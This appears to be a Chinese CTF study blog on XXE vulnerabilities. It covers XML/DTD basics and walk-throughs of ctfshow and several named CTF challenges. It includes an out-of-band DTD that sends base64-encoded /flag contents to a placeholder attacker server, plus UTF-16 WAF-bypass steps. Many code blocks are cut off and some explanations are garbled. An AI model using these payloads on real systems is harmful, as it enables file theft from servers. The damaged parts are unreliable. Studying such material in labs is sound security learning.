基础知识
这里参考大佬博客
https://blog.csdn.net/doubirui/article/details/137182142?spm=1001.2014.3001.5506
xxe
XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。
XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容
xml
1)基础概念
XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。
XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签 XML 被设计为具有自我描述性 XML 是 W3C 的推荐标准
XML 是不作为的
XML具有以下特点:
可扩展性:XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。
自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。
平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。
可读性:XML文档使用具有可读性的标记和缩进,易于理解和阅读。
XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。
2)组成
在 XML 中,元素(Element)、属性(Attribute)和实体(Entity)是构成 XML 文档的基本组成部分。它们的作用和特点如下:
元素(Element):
元素是 XML 文档中的基本组成单位,用于表示文档的结构和内容。
元素由开始标记、结束标记和内容组成。开始标记和结束标记之间的内容是元素的内容。
元素可以包含子元素,形成层次结构。
例如,在
属性(Attribute):
属性用于提供有关元素的附加信息。
属性必须出现在元素的开始标记中,以键值对(key-value pair)的形式表示。
属性的值必须使用引号括起来,可以是单引号或双引号。
例如,在
实体(Entity):
实体用于表示 XML 文档中的特殊字符、常用文本片段或外部资源。
实体可以是内部实体(Internal Entity)或外部实体(External Entity)。
内部实体使用文本直接定义,外部实体引用外部文件。
例如,< 表示小于号 <,> 表示大于号 >,这些都是预定义的实体。
3)结构
XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:
1 | <!--文档类型定义--> |
在上面的示例中,
4)语法规则
XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。 XML 允许创作者定义自己的标签和自己的文档结构。
所有的 XML 元素都必须有一个关闭标签
XML 标签对大小写敏感
XML 必须正确嵌套
XML 属性值必须加引号
实体引用
在 XML 中,空格会被保留
PCDATA 会被解析器解析的文本
PCDATA 是 XML 中的一个术语,表示“Parsed Character Data”(解析的字符数据)。在 XML 中,PCDATA 指的是文本节点中包含的可解析字符数据,即文本内容。PCDATA 可以包含普通的文本字符,但不能包含标签或实体引用。
举例来说,考虑以下 XML 片段
1 | <book> |
在这个例子中,
CDATA 不会被解析器解析的文本
CDATA 是 XML 中的一个术语,表示“Character Data”(字符数据)。在 XML 中,CDATA 块是一种特殊的文本块,用于包含任意文本数据,包括标签和特殊字符,而不需要进行转义处理。
CDATA 块以 结束,其中包含的文本数据不会被 XML 解析器解析,而是被视为纯文本。这意味着在 CDATA 块中可以包含 XML 标签、实体引用等,而不会导致解析错误。
举例来说,考虑以下 XML 片段
1 | <message> |
在这个例子中,Hello, world!
]]> 是一个 CDATA 块,其中包含了一个标签和文本内容“Hello, world!”。由于这部分文本被包含在 CDATA 块中,因此不会被 XML 解析器解析为 XML 标签,而是作为纯文本输出
DTD
DTD(Document Type Definition,文档类型定义)是一种用于定义 XML 文档结构的规范。它定义了 XML 文档中元素、属性、实体等的合法结构,并且可以用于验证 XML 文档的有效性。
1)DTD的声明
在 XML 中,DTD可以以内部声明(Internal DTD)或外部声明(External DTD)的形式存在。它们的区别在于 DTD 的定义是直接包含在 XML 文档中还是保存在单独的外部文件中。
内部声明:
内部声明是直接在XML文档中定义的DTD。
DTD的声明位于XML文档的文档声明中,使用'<!DOCTYPE>'标记定义。
内部声明将DTD的定义与XML文档的内容结合在一起,因此DTD的定义直接出现在XML文档中。
内部声明的语法类似于以下实例:
1 | <!DOCTYPE 根元素 [元素声明]> |
外部声明:
外部声明将 DTD 的定义保存在单独的外部文件中。
在 XML 文档中使用 <!DOCTYPE> 声明来引用外部 DTD 文件,使用 SYSTEM 关键字指定 DTD 文件的位置。
外部声明使得 XML 文档与 DTD 的定义分离,可以在多个 XML 文档中共享和重用同一个 DTD 定义。
外部声明的语法类似于以下示例
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
实体
DTD实体
用于定义引用普通文本或特殊字符的快捷方式的变量
分为内部实体和外部实体
也可分为一般实体和参数实体
1、内部实体:
1 | <!ENTITY eviltest "eviltest"> |
外部实例
从外部的 DTD文件中引用
对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
1 | 实例: |
一般实体:
引用实体的方式:&实体名
在DTD 中定义,在 XML 文档中引用
1 | 实例: |
参数实体:
引用实体的方式: % 实体名(这里面空格不能少)
在 DTD 中定义,并且只能在 DTD 中使用 % 实体名引用
只有在 DTD 文件中,参数实体的声明才能引用其他实体
和通用实体一样,参数实体也可以外部引用
在 Blind XXE 中起到了至关重要的作用
1 | 实例: |
作用
通过 DTD,每一个 XML 文件均可携带一个有关其自身格 式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来 交换数据。
应用程序也可使用某个标准的 DTD 来验证从外部接收到的 数据。
还可以使用 DTD 来验证自身的数据。
XXE漏洞的利用
1)有回显读取文件
1 | <?php |
1 | 抓包发送 |
2)无回显读取文件(这个是重点)
1 | <?php |
无回显的文件读取,要进行外带
1 | 抓包发送 |
在服务器放置xxe.php和xxe.xml两个文件
1 | <?php |
1 | <!ENTITY % all |
大纲
也即是对上面的内容进行一个小的总结,也就是你最少需要的内容
xxe是what
这里就不多讲了
xml
1 | <!--文档类型定义--> |
这里需要我们知道,他的一个大概的结构,有一定的了解
PCDATA,会被解析器解析的文本
1 | <book> |
在title,author,和description元素中的文本内容就是PCDATA
CDATA不会被解析器解析的文本
1 | <message> |
这里就是里面有一个p标签,但是被CDATA标签包裹了之后就不会被渲染,而是作为纯文本输出
DTD
1)DTD的声明
分为内部和外部声明两种
内部声明
这里注意使用’<!DOCTYPE>’标记定义
1 | <!DOCTYPE 根元素 [元素声明]> |
大概知道长这样就行了
外部声明
使用<!DOCTYPE>申明来引用外部DTD,使用SYSTEM关键字指定DTD文件的位置。这个就是区别
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
2)实体
DTD实体
内部实体
这里就是直接写你需要的内容
1 | <!ENTITY eviltest "eviltest"> |
外部实体
这里就是使用SYSTEM指出文件的地址
1 | 实例: |
一般实体
这里使用方法是&实体名
在DTD中定义,在XML文档中引用
1 | 实例: |
参数实体
这里就是%加上一个空格再加上实体名
1 | <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> |
xxe漏洞的利用
有回显读取文件
1 | <?php |
这里主要就是,你看这个echo,就是有回显的
1 | <?xml version="1.0"?> |
无回显读取文件
1 | <?php |
无回显的文件读取,需要进行外带
1 | 抓包发送 |
在服务器放置xxe.php和xxe.xml两个文件
1 | <?php |
1 | <!ENTITY % all |
1
1 | <?php |
分析:
$xmlfile = file_get_contents(‘php://input’);:从 PHP 输入流中获取 POST 请求发送的 XML 数据,并将其存储在 $xmlfile 变量中。
if(isset($xmlfile)){ … }:检查是否成功接收到 XML 数据。
$dom = new DOMDocument();:创建一个 DOMDocument 对象,用于处理 XML 文档。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);:加载 XML 数据到 DOMDocument 对象中,并启用外部实体加载。通过设置参数 LIBXML_NOENT | LIBXML_DTDLOAD,禁用了实体扩展,并允许加载外部 DTD。
$creds = simplexml_import_dom($dom);:将 DOMDocument 对象转换为 SimpleXMLElement 对象,以便于简单地处理 XML 数据。
$ctfshow = $creds->ctfshow;:从 SimpleXMLElement 对象中获取名为 ctfshow 的元素的内容。
本关代码会echo $ctfshow,所以本关是有回显的,我们就可以用有回显读取文件的方式来做。
我们通过代码可以知道本关是通过&ctfshow这个变量来输出内容的,所以我们就可以通过在ctfshow这个元素里设置我们想要查找的内容,并将其上传就可以得到我们想要的东西了
1 | <!DOCTYPE test [ //开始了一个DTD的声明,名字为test。 |
XML 实体声明允许在 XML 文档中引用外部实体,它们通常用于重复使用和参数化 XML 内容。
在这段代码中,DTD被用作外部实体引用。当这个DTD被引用时,实体xxs会被展开,它的值是file:///flag,表示要读取主机上的flag文件。
因此,如果这个 DTD 被成功引用并且 XML 解析器对实体引用进行了展开,那么将会尝试读取主机上的 flag文件。
这也就是xxe漏洞利用的基本原理。
之后抓包即可
2
1 | <?php |
这里和上面的不同就是没有echo的符号了
分析
我们发现这关和上一关相比没有明显的输出函数以及判断条件了。
所以传入的xml中就要完成这个功能
在做无回显读取文件的关卡前,我们需要自己创建一个服务器,因为我们需要通过服务器来上传文件。(服务器操作系统CentOS)
之后在我们创建的服务器上安装宝塔服务器运维面板,它可以帮助我们在服务器上安装Linux系统,帮助我们更好地进行服务器操作(当然,你要是很厉害也可以直接用代码安装,不需要宝塔的帮助)我们需要通过它来完成创建文件,上传文件等操作。
具体的部署宝塔的操作啥的自己看教程。
前置事项完成后我们正式开始
1.首先创建一个xxe.php文件,内容
1 | <?php |
这段代码的意思是接收一个名为file的GET传参,并将其写入到flag.txt的文件中。(如果文件不存在,则会自动创建)
2.之后再创建一个xxe.xml文件
1 | <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://你的服务器ip/xxe.php?file=%file;'> "> |
这段代码定义了一个% dtd实体,它的值是一个名为xxe的实体的声明,而这个实体的值是一段字符串,其内容是将服务器中名为file的参数发送到xxe.php文件中。
% 是实体的引用,表示百分号 % 的 Unicode 字符编码,也就是% xxe。
%dtd;: 这行代码使用了之前定义的 %dtd 参数实体,将其展开为实际的实体声明。这样就定义了一个名为 xxe 的实体。
%xxe;: 这行代码使用了之前定义的 xxe 实体,将其展开为实际的 HTTP 请求。这样就能得到file参数并将其发送到xxe.php文件中。
也就是说,这段代码的用途就是将file参数发送到xxe.php文件中,之后就能通过xxe.php文件将其放入flag.txt文件中了。
在 XML 中,实体引用的形式可以是 %(十六进制)或 %(十进制),两者都表示字符 ‘%’ 的实体引用。
使用 % 的形式,如 %dtd; 和 %xxe;,是一种特殊的实体引用,被称为参数实体引用。参数实体引用以 % 开头,后面跟着实体名称。在定义参数实体时,可以使用 % 开头的实体引用来引用其他实体。
需要注意的是,对于一般的实体引用,如 % 或 %,可以在 XML 文档中的任何位置使用,而不仅限于参数实体引用的定义中。但是,参数实体引用只能在 DTD 的定义部分使用。
总结起来,使用 % 的形式是参数实体引用的一种特殊用法,用于引用其他实体。而一般的实体引用可以使用 % 或 %,两者都表示字符 ‘%’ 的实体引用。在具体使用时,可以根据需要选择合适的实体引用形式。
(这里有一个问题,chatgpt回答说定义实体时,为了确保解析器能够正确解释 XML 结构,所以一般都在%和实体名称之间添加空格,可是我向%dtd和%xxe添加了空格,结果却得不到flag.txt文件了。
3.之后抓包并构建payload
1 | <!DOCTYPE flag [ |
: 这行代码定义了一个名为 file 的参数实体,其值是通过 php://filter 将指定文件内容进行 Base64 编码后的结果。这里指定的文件是服务器上的 /flag 文件。
: 这行代码定义了一个名为 aaa 的参数实体,其值是我们服务器中创建的xxe.xml文件。
之后通过展开%aaa实体来访问xxe.xml文件。
这段代码的目的就是将/flag文件中的内容用base64编码后放入到file实体中,这样就可以通过xxe.xml文件将file参数放到xxe.php文件中,再通过xxe.php文件将其放入到flag.txt文件中,这样我们就得到一个名为flag.txt的文件,里面的内容就是经过base64编码后的flag。所以我们最后再用base64解码即可得到本关的flag
3
1 | <?php |
分析
本关代码和上关类似,就多了一个正则匹配过滤,将xml和version1.0过滤掉了。这里的version1.0指的是XML文档中的版本声明,版号为1.0。
所以本关我们要将xxe.xml改为xxe.dtd。
payload改为
1 | <!DOCTYPE flag [ |
4
1 | <?php |
和上关类似,就正则匹配这里多了一个/i表示大小写不敏感匹配。
用上关的payload即可
5
1 | <?php |
分析
在原来的基础上又过滤了http
这里采用utf-16编码绕过。
前面的方式不变,发送请求时使用python进行编码后发送,python中写(pycharm中要安装requests库)
1 | import requests |
6
一个登陆页面,我们随便输入一下账号密码然后进行抓包
1 | <user> |
然后进行xxe
1 | <!DOCTYPE test[ |
最后就可以拿到flag了
小结
这就是一些一般性的做法了,这里我们后面自己来好好做题加深对于这种类型题目的理解
[CSAWQual 2019]Unagi
21分
XXEWAF绕过编码绕过
题目描述
flag在/flag。
首先先看一下题目的提示,告诉你flag在/flag里面,是不是很像我们之前说的,得先知道文件的地址才好做很多
大概是有四个页面
第一个是HOME页面,这里就是一个欢迎
然后就是User页面,信息如下
1 | Name: Alice |
第三个一个文件上传的页面,然后又意思的是有一个案列
1 | <users> |
还有一个类似标题一样的提示:该 XML 文件并未包含任何关联的样式信息。文档树显示如下
第四个是一个about页面:Flag is located at /flag, come get it
这里我们先看一下源码还有就是可以扫一下目录,当然,这道题做这些应该没有什么用的
上传一个1.xml
1 | <?xml version='1.0'?> |
但是题目弹出了:WAF blocked uploaded file. Please try again
好像有的环境是可以直接上传的
反正都没有实操过,都算是积累了
在linux里面,用vim转码,把UTF-8转换为UTF-16绕过waf
命令
1 | iconv -f UTF-8 -t UTF-16 2.xml > 1.xml |
这里好像utf-8和-16还像看不出来有什么问题呀
最后成功拿到flag
[NCTF 2019]Fake XML cookbook
1分
XXE中间件攻击代码审计
这个就是我前面写过了的,是一个登陆页面什么的
这个是抓包的一个请求
1 | POST /doLogin.php HTTP/1.1 |
用前面的payload就行了
1 | <!DOCTYPE test[ |
[LitCTF 2024]exx
33分
XXEPHPWEB
这个题目基本就是告诉你是xxe相关的题目了
这个又是一个恶趣味荤段子类型的题目
一点击跳到一个页面,p站的注册页面,苦笑
然后又是一个登陆页面,基本和前面没有什么大的区别
payload都不用改的
GHCTF 2025
120分
XXEWEB
题目描述
(>﹏<) & (<﹏>) & (>﹏<)
给了一个py代码
1 | from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index(): return open(__file__).read() @app.route('/ghctf',methods=['POST']) def parse(): xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe." parser = etree.XMLParser(load_dtd=True, resolve_entities=True) root = etree.fromstring(xml, parser) name=root.find('name').text return name or None if __name__=="__main__": app.run(host='0.0.0.0',port=8080) |
这里是有两个路由
这里直接写代码或者说poct传参到对应路由就可以了
1 | # exp.py |